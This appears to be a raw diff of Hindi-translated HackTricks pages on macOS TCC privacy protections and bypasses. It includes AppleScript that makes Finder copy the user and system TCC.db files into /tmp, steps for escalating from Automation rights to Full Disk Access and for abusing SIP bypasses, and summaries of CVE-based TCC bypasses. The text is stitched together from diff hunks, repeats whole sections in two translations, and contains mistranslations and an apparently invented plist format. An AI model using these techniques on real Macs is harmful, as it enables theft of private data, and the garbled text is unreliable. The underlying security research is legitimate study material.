codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>
```
यह यह सुनिश्चित करेगा कि कैलेंडर उपयोगकर्ता से यादें, कैलेंडर और पता पुस्तिका तक पहुंच करने के लिए पूछता नहीं है।
{% hint style="success" %}
इंटाइटलमेंट्स के बारे में कुछ आधिकारिक दस्तावेज़ीकरण के अलावा, इंटाइटलमेंट्स के बारे में अनौपचारिक **रोचक जानकारी भी मिल सकती है** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) में
{% endhint %}
### संवेदनशील असुरक्षित स्थान
* $HOME (खुद)
* $HOME/.ssh, $HOME/.aws, आदि
* /tmp
### उपयोगकर्ता की इच्छा / com.apple.macl
पहले ही उल्लेख किया गया है कि यह संभव है कि **एक ऐप को एक फ़ाइल तक पहुंच देने के लिए उसे ड्रैग एंड ड्रॉप करके अनुमति दी जाए**। इस पहुंच को किसी भी TCC डेटाबेस में निर्दिष्ट नहीं किया जाएगा लेकिन यह फ़ाइल के **विस्तारित गुणांक के रूप में** रखा जाएगा। इस गुणांक में अनुमति दी गई ऐप का UUID संग्रहीत होगा:
```bash
xattr Desktop/private.txt
com.apple.macl
# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3
# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```
{% hint style="info" %}
यह अद्भुत है कि **Sandbox** द्वारा **`com.apple.macl`** विशेषता का प्रबंधन किया जाता है, न कि tccd द्वारा।
इसके अलावा ध्यान दें कि यदि आप अपने कंप्यूटर में किसी ऐप के UUID की अनुमति देने वाले एक फ़ाइल को दूसरे कंप्यूटर में स्थानांतरित करते हैं, क्योंकि एक ही ऐप के लिए अलग-अलग UID होंगे, इससे उस ऐप को पहुंच नहीं मिलेगी।
{% endhint %}
विस्तारित विशेषता `com.apple.macl` को अन्य विस्तारित विशेषताओं की तरह **हटाया नहीं जा सकता** क्योंकि इसे **SIP द्वारा संरक्षित** किया गया है। हालांकि, जैसा कि [**इस पोस्ट में समझाया गया है**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), इसे **फ़ाइल को ज़िप करके अक्षम किया जा सकता है**, फिर उसे **हटाया जा सकता है** और फिर से **अनज़िप किया जा सकता है**
## TCC Privesc & Bypasses
### Automation से FDA तक का Privesc
**Finder** एक ऐप्लिकेशन है जिसमें **हमेशा FDA होता है** (यदि यह UI में नहीं दिखाई देता है तो भी), इसलिए यदि आपके पास इसके ऊपर **Automation** अधिकार हैं, तो आप इसके अधिकारों का दुरुपयोग करके **कुछ कार्रवाई करवा सकते हैं**
{% tabs %}
{% tab title="उपयोगकर्ताओं का TCC.db चुराएं" %}
```applescript
# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
set homeFolder to path to home folder as string
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
set targetFolder to POSIX file "/tmp" as alias
try
duplicate file sourceFile to targetFolder with replacing
on error errMsg
display dialog "Error: " & errMsg
end try
end tell
EOD
```
{% tab title="सिस्टम TCC.db चुराएँ" %}
```applescript
osascript<<EOD
tell application "Finder"
set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias
set targetFolder to POSIX file "/tmp" as alias
try
duplicate file sourceFile to targetFolder with replacing
on error errMsg
display dialog "Error: " & errMsg
end try
end tell
EOD
```
{% endtab %}
{% endtabs %}
आप इसका दुरुपयोग करके **अपना खुद का उपयोगकर्ता TCC डेटाबेस लिख सकते हैं**
यहां फाइंडर पर ऑटोमेशन अधिकार प्राप्त करने के लिए TCC प्रॉम्प्ट है:
<figure><img src="../../../../.gitbook/assets/image.png" alt="" width="244"><figcaption></figcaption></figure>
### उपयोगकर्ता TCC DB से FDA तक प्राइवेसी
उपयोगकर्ता TCC डेटाबेस पर **लेखन अनुमतियां** प्राप्त करके आप खुद को **`FDA`** अनुमतियां नहीं दे सकते हैं, केवल जो सिस्टम डेटाबेस में रहता है वह दे सकता है।
लेकिन आप खुद को **`फाइंडर के लिए ऑटोमेशन अधिकार`** दे सकते हैं, और पिछले तकनीक का दुरुपयोग करके FDA तक उन्नति कर सकते हैं।
### **FDA से TCC अनुमतियों तक प्राइवेसी**
मुझे लगता है कि यह एक वास्तविक प्राइवेसी नहीं है, लेकिन यदि आपको यह उपयोगी लगता है तो यहां है: यदि आपके पास FDA के साथ एक प्रोग्राम का नियंत्रण है तो आप **उपयोगकर्ताओं के TCC डेटाबेस को संशोधित करके खुद को किसी भी एक्सेस दे सकते हैं**। यह आपके FDA अनुमतियों को खो सकने की स्थिरता तकनीक के रूप में उपयोगी हो सकता है।
### **SIP बाइपास से TCC बाइपास तक**
**TCC डेटाबेस** SIP द्वारा सुरक्षित होते हैं, इसलिए केवल उन प्रक्रियाओं को ही डेटाबेसों को संशोधित करने की अनुमति होगी जिनमें **निर्दिष्ट अधिकार होंगे**। इसलिए, यदि हमलावर को SIP परिवर्तन के लिए एक **SIP बाइपास** मिल जाता है (SIP द्वारा प्रतिबंधित एक फ़ाइल को संशोधित करने की अनुमति हो), तो वह TCC डेटाबेस की सुरक्षा को हटा सकता है और खुद को सभी TCC अनुमतियाँ प्रदान कर सकता है।
सिस्टम **TCC डेटाबेस** SIP द्वारा संरक्षित है, इसलिए केवल उन प्रक्रियाओं को ही संशोधित करने की अनुमति होगी जिनमें **निर्दिष्ट अधिकार होंगे**। इसलिए, यदि हमलावार कोई **SIP बाइपास** एक **फ़ाइल** पर पाता है (SIP द्वारा प्रतिबंधित फ़ाइल को संशोधित करने की अनुमति हो), तो वह TCC डेटाबेस की सुरक्षा को हटा सकता है, और खुद को सभी TCC अनुमतियां दे सकता है।
हालांकि, इस **SIP बाइपास का उपयोग TCC को बाइपास करने** के लिए एक और विकल्प है, फ़ाइल `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` एक ऐसी अनुमति वाली एप्लिकेशन की अनुमति की सूची है जिसके लिए TCC अपवाद की आवश्यकता होती है। इसलिए, यदि हमलावर इस फ़ाइल से SIP सुरक्षा को **हटा सकता है** और अपनी **खुद की एप्लिकेशन** जोड़ सकता है, तो उस एप्लिकेशन को TCC को बाइपास करने की अनुमति मिलेगी।
हालांकि, इस **SIP बाइपास का उपयोग करके TCC को बाइपास करने** के लिए एक और विकल्प है, `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` फ़ाइल एक ऐसी अनुमति की सूची है जिसमें TCC छूट आवश्यकता वाले अनुप्रयोगों की सूची होती है। इसलिए, यदि हमलावार SIP संरक्षण को इस फ़ाइल से हटा सकता है और अपने **खुद के अनुप्रयोग** को जोड़ सकता है, तो अनुप्रयोग TCC को बाइपास कर सकेगा
उदाहरण के लिए टर्मिनल जोड़ने के लिए:
```bash
# Get needed info
@ -145,23 +287,7 @@ codesign -d -r- /System/Applications/Utilities/Terminal.app
```
AllowApplicationsList.plist:
यह प्लिस्ट फ़ाइल एक मैपिंग धारण करती है जो macOS के ट्रांसपेरेंट डेटा कंप्रोमाइज़ सेंटर (TCC) द्वारा स्वीकृत एप्लिकेशनों की सूची को संग्रहीत करती है। यह फ़ाइल उपयोगकर्ता द्वारा अनुमति प्राप्त की गई एप्लिकेशनों को निर्दिष्ट करने के लिए उपयोग होती है जिन्हें TCC द्वारा अनुमति दी गई है। इस फ़ाइल में प्रत्येक एप्लिकेशन के लिए एक एंट्री होती है, जिसमें एप्लिकेशन का बाइनरी पथ और अनुमति स्तर शामिल होता है।
उदाहरण:
```
{
"com.apple.Terminal": {
"Allowed": true,
"Prompted": true
},
"com.apple.Safari": {
"Allowed": true,
"Prompted": true
}
}
```
इस उदाहरण में, AllowApplicationsList.plist फ़ाइल में दो एप्लिकेशनों की सूची है - Terminal और Safari। दोनों एप्लिकेशनों को TCC द्वारा अनुमति दी गई है और उपयोगकर्ता को पूछा गया है कि क्या वे इन एप्लिकेशनों को उपयोग करने की अनुमति देना चाहेंगे।
अनुमति दी गई अनुप्रयोग सूची.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -184,84 +310,7 @@ AllowApplicationsList.plist:
</dict>
</plist>
```
### TCC हस्ताक्षर जांच
TCC **डेटाबेस** में एप्लिकेशन के **बंडल आईडी** को संग्रहीत किया जाता है, लेकिन यह भी **हस्ताक्षर** के बारे में **जानकारी** संग्रहीत करता है ताकि अनुमति का उपयोग करने के लिए अप्लिकेशन सही हो।
{% code overflow="wrap" %}
```bash
# From sqlite
sqlite> select hex(csreq) from access where client="ru.keepcoder.Telegram";
#Get csreq
# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
```
{% endcode %}
{% hint style="warning" %}
इसलिए, एक ही नाम और बंडल आईडी का उपयोग करने वाले अन्य एप्लिकेशन अन्य ऐप्स को दिए गए अनुमतियों तक पहुंच नहीं पा सकेंगे।
{% endhint %}
### अधिकार
ऐप्स को केवल कुछ संसाधनों के लिए अनुरोध करने और पहुंच प्राप्त करने के लिए ही नहीं होता है, उन्हें संबंधित अधिकार भी होने चाहिए।\
उदाहरण के लिए, **Telegram** के पास `com.apple.security.device.camera` अधिकार है जिसका उपयोग **कैमरे तक पहुंच के लिए** करने के लिए किया जाता है। इसके बिना कोई ऐप कैमरे तक पहुंच नहीं पा सकेगा (और उपयोगकर्ता से अनुमतियों के लिए भी पूछा नहीं जाएगा)।
हालांकि, ऐप्स को `~/Desktop`, `~/Downloads` और `~/Documents` जैसे कुछ उपयोगकर्ता फ़ोल्डरों तक पहुंच करने के लिए किसी विशेष अधिकार की आवश्यकता नहीं होती है। सिस्टम स्वचालित रूप से पहुंच को संभालेगा और उपयोगकर्ता को आवश्यकतानुसार प्रॉम्प्ट करेगा।
एप्पल के ऐप्स प्रॉम्प्ट नहीं उत्पन्न करेंगे। उनमें उनकी अधिकार सूची में पूर्व-अनुमति होती है, जिसका मतलब है कि वे कभी भी पॉपअप उत्पन्न नहीं करेंगे, और वे किसी भी TCC डेटाबेस में दिखाई नहीं देंगे। उदाहरण के लिए:
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>
```
यह कैलेंडर को यूजर से याद दिलाएगा कि वह रिमाइंडर, कैलेंडर और एड्रेस बुक तक पहुंच करने की अनुमति दें।
{% hint style="success" %}
इंटाइटलमेंट्स के बारे में कुछ आधिकारिक दस्तावेज़ीकरण के अलावा, इंटाइटलमेंट्स के बारे में अनौपचारिक **रोचक जानकारी** भी मिल सकती है [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) में।
{% endhint %}
### संवेदनशील असुरक्षित स्थान
* $HOME (खुद)
* $HOME/.ssh, $HOME/.aws, आदि
* /tmp
### उपयोगकर्ता की इच्छा / com.apple.macl
पहले ही उल्लेख किया गया है कि यह **एक ऐप को एक फ़ाइल तक पहुंच देने के लिए उसे ड्रैग एंड ड्रॉप करके** संभव है। इस पहुंच को किसी भी TCC डेटाबेस में निर्दिष्ट नहीं किया जाएगा लेकिन फ़ाइल के **विस्तारित गुणांक के रूप में** यह पहुंच संग्रहीत होगी। इस गुणांक में अनुमति दी गई ऐप का UUID संग्रहीत होगा:
```bash
xattr Desktop/private.txt
com.apple.macl
# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3
# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```
{% hint style="info" %}
यह रोचक है कि **Sandbox** द्वारा **`com.apple.macl`** विशेषता का प्रबंधन किया जाता है, न कि tccd द्वारा।
इसके अलावा ध्यान दें कि यदि आप अपने कंप्यूटर में किसी ऐप के UUID की अनुमति देने वाले एक फ़ाइल को दूसरे कंप्यूटर में स्थानांतरित करते हैं, क्योंकि एक ही ऐप के लिए अलग-अलग UID होंगे, इसलिए उस ऐप को पहुंच नहीं मिलेगी।
{% endhint %}
विस्तारित विशेषता `com.apple.macl` को अन्य विस्तारित विशेषताओं की तरह **हटाया नहीं जा सकता** क्योंकि इसे **SIP द्वारा संरक्षित** किया गया है। हालांकि, जैसा कि [**इस पोस्ट में समझाया गया है**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), इसे **फ़ाइल को ज़िप करके**, उसे **हटाकर** और फिर से **अनज़िप करके** अक्षम किया जा सकता है।
### TCC Bypasses
### TCC बाईपास
{% content-ref url="macos-tcc-bypasses/" %}
[macos-tcc-bypasses](macos-tcc-bypasses/)
@ -271,7 +320,8 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
* [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
* [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)
* [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)
* [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
@ -279,10 +329,10 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित** की जाए? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने का उपयोग करना चाहते हैं? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**।
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित** हो? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** **अनुसरण** करें।**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में सबमिट करके**।
</details>

View file

@ -5,10 +5,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**.
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **फॉलो** करें मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -26,15 +26,15 @@ ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
**नए फ़ाइल** को **निर्माता ऐप** को उसे पढ़ने की अनुमति देने के लिए **विस्तारित विशेषता `com.apple.macl`** जोड़ी जाती है
**विस्तारित विशेषता `com.apple.macl`** नए **फ़ाइल** में जोड़ी जाती है ताकि **निर्माता ऐप** उसे पढ़ने की अनुमति प्राप्त कर सके
### SSH बाईपास
डिफ़ॉल्ट रूप से **SSH के माध्यम से पहुंच "फ़ुल डिस्क एक्सेस"** होती थी। इसे अक्षम करने के लिए, इसे सूची में शामिल करना चाहिए, लेकिन अक्षम करना चाहिए (सूची से हटाने से ये अधिकार हटाए नहीं जाएंगे):
डिफ़ॉल्ट रूप से **SSH के माध्यम से पहुंच "फ़ुल डिस्क एक्सेस"** होती थी। इसे अक्षम करने के लिए, इसे सूची में शामिल करना चाहिए लेकिन अक्षम करना चाहिए (सूची से हटाने से ये अधिकार हटाए नहीं जाएंगे):
![](<../../../../../.gitbook/assets/image (569).png>)
यहां आपको कुछ **मैलवेयर्स के उदाहरण मिलेंगे जिन्होंने इस सुरक्षा को बाईपास करने** की क्षमता रखी है:
यहां आपको कुछ **मैलवेयर्स के उदाहरण मिलेंगे जिन्होंने इस सुरक्षा को बाईपास करने में सफलता प्राप्त की है**:
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
@ -44,17 +44,17 @@ asd
### एक्सटेंशन का हैंडल करें - CVE-2022-26767
फ़ाइलों को **एक निश्चित ऐप्लिकेशन की अनुमति देने के लिए `com.apple.macl`** विशेषता दी जाती है। यह विशेषता सेट की जाती है जब आप एक फ़ाइल को ऐप्लिकेशन पर **ड्रैग एंड ड्रॉप** करते हैं, या जब उपयोगकर्ता एक फ़ाइल को **डबल-क्लिक** करके इसे **डिफ़ॉल्ट ऐप्लिकेशन** के साथ खोलते हैं
फ़ाइलों को **`com.apple.macl`** विशेषता दी जाती है ताकि एक **निश्चित एप्लिकेशन को उसे पढ़ने की अनुमति** मिल सके। यह विशेषता सेट की जाती है जब आप एक फ़ाइल को एक ऐप पर **ड्रैग एंड ड्रॉप** करते हैं, या जब एक उपयोगकर्ता उसे **डबल-क्लिक** करके डिफ़ॉल्ट एप्लिकेशन के साथ खोलता है
इसलिए, एक उपयोगकर्ता **एक ख़तरनाक ऐप्लिकेशन को रजिस्टर** कर सकता है जो सभी एक्सटेंशन का हैंडल करेगा और लॉन्च सेवाओं को कॉल करेगा ताकि किसी भी फ़ाइल को **खोलें** (इसलिए खतरनाक फ़ाइल को उसे पढ़ने की अनुमति मिलेगी)।
इसलिए, एक उपयोगकर्ता **एक खतरनाक ऐप** को पंजीकृत कर सकता है ताकि वह सभी एक्सटेंशन का हैंडल करें और लॉन्च सेवाओं को कॉल करें ताकि किसी भी फ़ाइल को **खोलें** (इसलिए खतरनाक फ़ाइल को पढ़ने की अनुमति मिलेगी)।
### iCloud
**`com.apple.private.icloud-account-access`** इंटाइटलमेंट के माध्यम से **`com.apple.iCloudHelper`** XPC सेवा के साथ संवाद करना संभव होता है जिससे **iCloud टोकन प्रदान किए जा सकते हैं**।
**`com.apple.private.icloud-account-access`** अधिकारण से **`com.apple.iCloudHelper`** XPC सेवा के साथ संवाद संभव होता है जो **iCloud टोकन प्रदान करेगी**।
**iMovie** और **Garageband** में इस इंटाइटलमेंट के साथ और अन्य इंटाइटलमेंट के साथ यह संभव था
**iMovie** और **Garageband** में इस अधिकारण के साथ और अन्य अधिकारण थे
इस इंटाइटलमेंट से **iCloud टोकन प्राप्त करने** के बारे में अधिक **जानकारी** के लिए टॉक देखें: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
उस अधिकारण से **icloud टोकन प्राप्त करने** के बारे में अधिक **जानकारी** के लिए टॉक देखें: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Automation
@ -66,13 +66,13 @@ Apple स्क्रिप्ट के बारे में अधिक ज
[macos-apple-scripts.md](macos-apple-scripts.md)
{% endcontent-ref %}
उदाहरण के लिए, यदि एक ऐप्लिकेशन को **`iTerm` पर ऑटोमेशन अनुमति** है, उदाहरण के लिए इस उदाहरण में **`Terminal`** को iTerm पर पहुंच है:
उदाहरण के लिए, यदि एक ऐप को **`iTerm` पर ऑटोमेशन अनुमति** है, उदाहरण के लिए इस उदाहरण में **`Terminal`** को iTerm पर पहुंच है:
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
#### iTerm पर
FDA नहीं होने वाले Terminal, iTerm को कॉल कर सकता है, जिसमें FDA होता है, और इस उपयोग करके कार्रवाई कर सकता है:
FDA नहीं होने वाले Terminal, iTerm को कॉल कर सकता है, जिसमें FDA होता है, और इसका उपयोग करके कार्रवाई कर सकता है:
{% code title="iterm.script" %}
```applescript
@ -160,12 +160,12 @@ $> ls ~/Documents
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
यदि **`SQLITE_SQLLOG_DIR="पथ/फ़ोल्डर"`** है, तो यह मतलब होता है कि **किसी भी खुली डेटाबेस को उस पथ पर कॉपी किया जाता है**। इस CVE में इस नियंत्रण का दुरुपयोग किया गया था ताकि एक प्रक्रिया जिसमें FDA वाली TCC डेटाबेस हो, उसके अंदर लिखा जा सके, और फिर **`SQLITE_SQLLOG_DIR`** का उपयोग फ़ाइलनाम में एक **सिंबलिंक** के साथ किया जा सके ताकि जब वह डेटाबेस **खोला जाता है**, उपयोगकर्ता क**TCC.db ओवरराइट** हो जाती है।\
यदि **`SQLITE_SQLLOG_DIR="पथ/फ़ोल्डर"`** है, तो इसका अर्थ है कि **किसी भी खुली डेटाबेस को उस पथ पर कॉपी किया जाता है**। इस CVE में इस नियंत्रण का दुरुपयोग किया गया था ताकि एक प्रक्रिया जिसमें TCC डेटाबेस हो, उसके अंदर लिखा जा सके, और फिर **`SQLITE_SQLLOG_DIR`** का उपयोग एक **फ़ाइलनाम में सिंबलिंक** के साथ किया जा सके ताकि जब वह डेटाबेस **खोला जाता है**, उपयोगकर्ता क**TCC.db अधिलेखित** हो जाता है।\
[**अधिक जानकारी यहां**](https://youtu.be/f1HA5QhLQ7Y?t=20548)।
### **SQLITE\_AUTO\_TRACE**
यदि पर्यावरण चर **`SQLITE_AUTO_TRACE`** सेट है, तो पुस्तकालय **`libsqlite3.dylib`** सभी SQL क्वेरीज़ को **लॉग करना** शुरू कर देगी। कई एप्लिकेशन इस पुस्तकालय का उपयोग करते थे, इसलिए उनके सभी SQLite क्वेरीज़ को लॉग करना संभव था।
यदि पर्यावरण चर **`SQLITE_AUTO_TRACE`** सेट है, तो पुस्तकालय **`libsqlite3.dylib`** आपके सभी SQL क्वेरी को लॉग करना शुरू कर देगी। कई एप्लिकेशन इस पुस्तकालय का उपयोग करते थे, इसलिए उनके सभी SQLite क्वेरी को लॉग करना संभव था।
कई Apple एप्लिकेशन ने TCC सुरक्षित जानकारी तक पहुंच करने के लिए इस पुस्तकालय का उपयोग किया।
```bash
@ -178,11 +178,11 @@ launchctl setenv SQLITE_AUTO_TRACE 1
## **NFSHomeDirectory** द्वारा
TCC उपयोगकर्ता को नियंत्रित करने के लिए एक डेटाबेस का उपयोग करता है जो उपयोगकर्ता के HOME फ़ोल्डर में संसाधित संसाधनों का उपयोगकर्ता द्वारा नियंत्रण करने के लिए होता है **$HOME/Library/Application Support/com.apple.TCC/TCC.db**।\
इसलिए, यदि उपयोगकर्ता को $HOME env चर को एक **अलग फ़ोल्डर** पर पॉइंट करने के साथ TCC को पुनः आरंभ करने में सफलता मिलती है, तो उपयोगकर्ता किसी भी TCC अनुमति को किसी भी ऐप्लिकेशन को प्रदान करने के लिए TCC डेटाबेस को **/Library/Application Support/com.apple.TCC/TCC.db** में नया बना सकता है और TCC को धोखा दे सकता है।
TCC उपयोगकर्ता को नियंत्रित करने के लिए एक डेटाबेस का उपयोग करता है जो उपयोगकर्ता के HOME फ़ोल्डर में संसाधित संसाधनों का उपयोगकर्ता के लिए नियंत्रण करने के लिए होता है **$HOME/Library/Application Support/com.apple.TCC/TCC.db**।\
इसलिए, यदि उपयोगकर्ता को $HOME env चर को एक **अलग फ़ोल्डर** पर पॉइंट करने के साथ TCC को पुनः आरंभ करने में सफलता मिलती है, तो उपयोगकर्ता किसी भी ऐप को किसी भी TCC अनुमति को प्रदान करने के लिए TCC डेटाबेस को **/Library/Application Support/com.apple.TCC/TCC.db** में नया बना सकता है और TCC को धोखा दे सकता है।
{% hint style="success" %}
